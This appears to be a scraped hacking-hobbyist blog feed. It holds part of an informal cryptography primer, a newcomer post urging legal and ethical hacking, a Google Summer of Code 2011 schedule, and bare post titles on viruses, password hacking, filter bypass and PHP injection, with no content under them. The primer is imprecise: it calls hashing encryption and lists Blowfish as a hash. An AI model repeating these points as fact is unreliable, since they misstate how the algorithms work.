ax it n." This is just an example. As you can imagine, there are many, many ways of scrambling the letters (362,880 different ways for "plaintext" as a matter of fact). However, computers are fast enough to unscramble such things without too much trouble, so, in addition to some other considerations (which we will get to), modern cryptography does not employ this method either. A special note on hashing For hackers, one of the most important types of cryptography you may encounter is that of hashing. Hashing refers to encrypting something SO WELL that no one, I mean no one, can get the original information back again. Think of it as one way coding, that is, once you ENcode it, you cannot DEcode it. You may be asking yourself, "Now why on earth would you want to do such at thing? Encrypt information so that no one can ever read it again? Preposterous!" But fear not! there is a rational reason to do this. Say you have a password that only you know, and you want to keep it in a not-so-secure place. This password is very important to you though, as it allows you to log on to your computer. How can your computer compare the password you enter when logging on, to the password you stored in a not-so-secure place, without letting anyone see what your password actually is? The answer is hashing. Consider this algorithm: 1. Hash your stored password. 2. Put in the not-so-secure place. 3. Next time you log on, hash the password you enter. 4. Compare the entered password hash to the stored password hash. 5. If they are the same, you get logged on, otherwise, you stay locked out. As you can see, the computer can check to see if your password matches without storing the password in a readable state. Some common hashing algorithms are MD5, SHA 1, and Blowfish (I have heard tell, though, that it was recently shown that two different passwords may have the same hash in MD5, but that could just be a rumor). "But wait," you say, "I've done several several Realistic challenges where I have decoded hashes! What is going on??" Well, when you "decoded" those hashes what you were actually doing is is taking every possible letter combination, encrypting that as a hash, and comparing it to the hash you saved. So you were not decoding per se, but rather checking to see what text gets encoded as your saved hash. Basically, you cheated. AES/Rijndael* Rijndael (prounounced rain-doll) is the encryption standard used by the United States government. As you can imagine, it is very complicated. I will briefly explain (in VERY basic terms), but I will have to assume some knowledge of some Group Theory, binary, and XORing. Anyone who is familiar with AES, understand, I am about to GREATLY oversimplify the algorithm for the sake of clarity, and you will have to forgive me. I know this is not exactly the way it works, but I think this explanation covers the underlying process in an edifying and understandable way. First, start out with your message, and a password to encrypt it with. Convert it to binary. Call the binary "m." XOR your "m" with your password "k." Call the result "y." Now for the meat of the AES. AES involves a few functions I will call "MixColumns," "ShiftRows," and "SubBytes." Do not worry about what they do for now, we will get to that in a second. Lets call the AES output "c." Then: c = k XOR MixColumns(ShiftRows(SubBytes(y))) Great! Now, for what those functions actually do... *SubBytes* For this, we will be working in the field Z_2[x]/<x^8+x^4+x^3+x+1>. Z_2[x] is the ring of polynomials with coefficients being either 0 or 1. Since x^8+x^4+x^3+x+1 is an irreducible polynomial, we know that Z_2[x]/<x^8+x^4+x^3+x+1> will be a field. We will call this field "F." Nuff said. Here comes the binary part (other than XORing, of course). Take one byte of "y" and make every zero or one the coefficient in a polynomial in F. For instance, say your byte is 10110101. Then your polynomial will be x^7 + 0x^6 + x^5 + x^4 + 0x^3 + x^2 + 0x + 1 = x^7 + x^5 + x^4 + x^2 + 1 Now, since F is a field, we know that all elements in it (except for zero, of course) have an inverse. SubBytes finds this inverse, and replaces the original byte with the one generated by the inverse polynomial (just like we found the polynomial from the byte, we can do the reverse and find a byte from a polynomial). *ShiftRows* ShiftRows step is a transposition step. It writes the bytes in blocks of 16, and "shifts the rows": 1 5 9 13 2 6 10 14 3 7 11 15 4 8 12 16 turns into 1 5 9 13 6 10 14 2 11 15 3 7 16 4 8 12 Then it reads off the columns as the new order in each block. *MixColumns* MixColumns is like SubBytes, except this time, we are working in the field F[t]/<t^4+1>. Moreover, you do not use single bytes, you use groups of four bytes. The first byte determines the coefficient of t^3, the second determines the coefficient of t^2 and so on. Then you multiply this by a given polynomial also in this field, and use the result as your new set of four bytes. And there you have it! AES/Rijndael in basic, abbreviated form. If you want some more details, you can try the Wikipedia page on AES, though that is a little thick. Otherwise, PM me if you have basic questions, and if there is enough demand, I will write an article just on AES. Public Key Cryptography And finally, here is the mainstay of cryptography today. Since I do not want this article to be a book, I will cover the Diffie-Hellman Key exchange, and if you guys want to know about RSA, PM me or let me know and I might do an article on that. *The Problem* In all the past sections, I have described crypto-systems that have a fatal flaw: the require a code book, of some sort or another. With substitution ciphers, you have the lookup tables. With Transposition, you have how you scrambled the letters. With AES, you have the password. And the problem with code books is, both the sender and the receiver of the coded message have to have a copy. If two people are communicating over insecure channels, and they wish to begin exchanging coded messages, how can they do so? If one of them sends a code book over the insecure channel, an eavesdropper will have a copy as well. What to do, what to do... *The Solution* Public Key Cryptography. Say Alice and Bob wanna exchange password protected emails using AES. How do they arrange to get the same password without sending it to each other? One good way is called the Diffie-Hellman Key Exchange. Now, this gets a little complicated, so I recommend you write it down as you read, like taking notes, so you can really understand it. I think you will find that while it looks scary, its really quite simple. Alice picks a number "e," a number "p" and a number d. Then she calculates e^d mod p, or in english, the remainder of e raised to the power of d when divided by p (if you do not understand this, look up modular arithmetic). Let us call this number "a" for Alice. Then, Alice sends e, p, and a to Bob, but keeps "d" a secret. Bob then picks a number "c" to keep secret for himself. After that, he finds e^c mod p (let us call it "b" for Bob), and sends it to Alice. Next, Alice raises b to the d (mod p), and Bob raises a to the c (mod p). So, written out, we have: a^c = (e^d mod p)^c = e^(dc) mod p for Bob, and b^d = (e^c mod p)^d = e^(dc) mod p for Alice. You will notice that in the end, both Alice and Bob have the same number. This is their very own secret password, that no one but they know. At first, this may not seem to be secure. After all, you're broadcasting what a and b are right? So shouldnt an eavesdropper be able to figure out what d and c are? Technically yes. But this problem is referred to as "The Discrete Log Problem" in mathematics, and is notoriously difficult. Let me give you an example. Let e = 7, p = 11, and 7^c mod 11 = 10. What is c? PM me for the answer. Conclusion Ok then, thus concludes my overview of cryptography. I hope it was basic enough for those just starting out, and that those more advanced learned something too. If you have any questions, enjoyed this article, or would like an article on some other topic, either comment, or PM me, I will try to answer as best I can. Thank you!

A Welcome to Newcomers-

noreply@blogger.com (Amit Tyagi) — Thu, 11 Nov 2010 17:38:00 +0000



Hey guys, Amit Tyagi here, so howdy, howdy, howdy! I've been seeing a lot of trolling on websites recently about people being newbs (n00b, nub, etc). And all those other spellings of the same damn word that makes you believe the person saying it is so fresh in virginity he should be in the produce isle. Case in point: I wanted to post something here to defend and help the little guy (being one myself that is, I mean, take a look at my rank and my involvement in the community, I'm not exactly a celebrity). Asking for help and support is the greatest thing you can ever do. "Without questions there are no answers" is a great quote. We've all heard this one "If at first you don't succeed, try try again" It's true. Being a hacker is all about problem-solving, tinkering, working with and around things that fascinate us. So please use HTS to tinker, not harm or get overly-frustrated at, but to work with and grow in what we all are proud of. Ok we all get frustrated, that is perfectly normal, it's perfectly acceptable, most of all, it's perfectly understandable. If you solve a problem immediately without thinking too much about it, it's too easy. As a hacker, it's your responsibility to constantly challenge yourself so you can excel in your craft. Stroustrup didn't make C++ in a day, Unix certainly wasn't made in an 8-hour workday while the rest of the team was playing foozball in the break room. Let's say you're trying to work with HTML, JavaScript, PHP, SQL, etc. The list of beautiful computer languages goes on. Take a look, and work it like a puzzle. The beginning statement goes here, the arguement goes here, the function goes here, the end-of-line statement goes here. There! one line, then work the next, and the next, put them all together, BAM! a source code, a program, whatever! And for the love of all that is cyber and holy! Ask QUESTIONS! My response and probably quite a few others would probably be along the lines of: No, begone, you cancerous polyp upon the brain and lower intestinal tract of the universe! Ok, maybe not so dramatic, but you catch my drift... Good questions are like: I have no idea what a Javascript injection is, can someone please tell me what it is, or give me an example? Ok! That's not bad, you were polite, and you asked a legitimate question. Javascript injections are commonly used in hacking, so it's not something to be ashamed of. Persistence is always key and something we hackers pride ourselves on. Also...one more thing I want to talk about, and this is on the edgy side. This site and I agree on a lot of things, more so than anything though, we agree on illegal action. We've all watched Swordfish, Ghost In The Shell (most of us, haha), War Games, and yes, even the classic: Hackers. But I would very much like to say that, yes although hacking into systems OF YOUR OWN is exhilarating, what is NOT (at least for ethical people, and if you aren't one, I really don't know why you're here) is cracking into things that you shouldn't be anywhere near in the first place. I sound like a parent with the witchy-poo finger, I know, but frankly, and here's the line you've all heard before: It's for your own good. Claiming to be elite just because you cracked the Pentagon isn't something that your cellmate will care about while he's deciding how best to shank you in the yard. A word to the not-so-wise: True Hackers are not criminals. We are dubbed criminals by people who despise that we have knowledge and understanding of things they'll never have, and also because of the idiots who claim to be hackers but are out to give us a bad name. In all honesty, we don't do anything that's particularly harmful. Now, as an example, and although I have never done it, I personally believe that if someone was doing something like slaughtering puppies bear cubs, and seals and posting pictures as a trophy on the internet, their page needs to be utterly destroyed. But these scenarios are thankfully rare. Those who do break into systems to harm people are the black-hats, the crackers, the script kiddies, yes, sometimes the grey-hats, hence the name. But that doesn't make them cool, that doesn't make them awesome, it makes them criminals and idiots, childish in the extreme just because they can make someone's life worse while partially filling the senseless void in their own. My opinion? They were impressionable immature idiots who never got hugged enough as kids. Breaking into other people's systems who haven't done anything to you is pathetic and doesn't make you worth anything but a prison sentence. Breaking into another person's system who maybe forgot to give you back the 10 bucks he owed you last week is childish, there is always a way around these things, trust me. So with that I leave you with my personal creed of hacking, a 10 Hacking Commandments, if you will, but I digress. 1. Thou shalt NOT break into a system that thoust doesn't belong 2. Thou shalt NOT steal passwords and codes unless specified in Amit-Spot' missions and missions ONLY (ex. Realistic Missions). Other than that...keep your grubby paws off people's personal things, dammit 3. Thou shalt NOT harm another person with the knowledge that thou hast been given 4. Thou shalt NOT cheat thy way through thy education 5. Thou shalt NOT speak like this when speaking to me 6. Thou SHALT be grateful to those who are willing to teach thee 7. Thou SHALT ask meaningful, useful questions 8. Thou SHALT use thy skills and ways for good 9. Thou SHALT STUDY, STUDY, STUDY 10. Thou SHALT speak to me and others normally, and not as Charlton Heston or in some Shakespearian tongue because EchoDelta himself does not particularly tolerate iambic pentameter for very long. So there you have it, my personal commandments, my two cents etc etc. This is just for those new to hacking and if I missed anything, ye Masters of Olde, please feel free to correct me or post your opinions. Happy Hacking all! Regards,

Amit-Spot::The True Hacking Spot

Trick to get access into Facebook, YouTube and other Social Networking sites in Schools and Offices

An Interview with Linus Torvalds

creating a Port scanner in C -

How to create a computer virus in C ?

Top 10 tips for technology recruiters from a geek's perspective!

Google Summer of code-2011

About Google Summer of Code-

Participating in Google Summer of Code-

January 24:

Program announced.

February 28:

19:00 UTC

Mentoring organizations can begin submitting applications to Google.

March 11:

23:00 UTC

Mentoring organization application deadline.

March 14-17:

Google program administrators review organization applications.

March 18:

19:00 UTC

List of accepted mentoring organizations published on the Google Summer of Code 2011 site.

March 18-27:

Would-be student participants discuss application ideas with mentoring organizations.

March 28:

19:00 UTC

Student application period opens.

April 8:

19:00 UTC

Student application deadline.

Interim Period:

Mentoring organizations review and rank student proposals; where necessary, mentoring organizations may request further proposal detail from the student applicant.

April 22:

All mentors must be signed up and all student proposals matched with a mentor - 07:00 UTC

Student ranking/scoring deadline. Please do not add private comments with a nonzero score or mark students as ineligible (unless doing so as part of resolving duplicate accepted students) after this deadline - 17:00 UTC

IRC meeting to resolve any outstanding duplicate accepted students - 19:00 UTC #gsoc

April 25:

19:00 UTC

Accepted student proposals announced on the Google Summer of Code 2011 site.

Community Bonding Period:

Students get to know mentors, read documentation, get up to speed to begin working on their projects.

May 23:

Students begin coding for their GSoC projects;

Google begins issuing initial student payments provided tax forms are on file and students are in good standing with their communities.

Interim Period:

Mentors give students a helping hand and guidance on their projects.

July 11:

19:00 UTC

Mentors and students can begin submitting mid-term evaluations.

July 15:

19:00 UTC

Mid-term evaluations deadline;

Google begins issuing mid-term student payments provided passing student survey is on file.

Interim Period:

Mentors give students a helping hand and guidance on their projects.

August 15:

Suggested 'pencils down' date. Take a week to scrub code, write tests, improve documentation, etc.

August 22:

19:00 UTC

Firm 'pencils down' date. Mentors, students and organization administrators can begin submitting final evaluations to Google.

August 26:

19:00 UTC

Final evaluation deadline

Google begins issuing student and mentoring organization payments provided forms and evaluations are on file.

August 29:

Final results of GSoC 2011 announced

August 30:

Students can begin submitting required code samples to Google

October 22 & 23:

Mentor Summit at Google: Representatives from each successfully participating organization are invited to Google to greet, collaborate and code. Our mission for the weekend: make the program even better, have fun and make new friends.

Top 20 Hacking Tools

Recover Hacked E-mail Account-

How to Recover Hacked Email Accounts?

For Gmail:

For Yahoo and Hotmail:

Hack Windows Administrator Password-

How it works?

Another simple way to reset non-administrator account passwords

PHP Injection-

Overview and example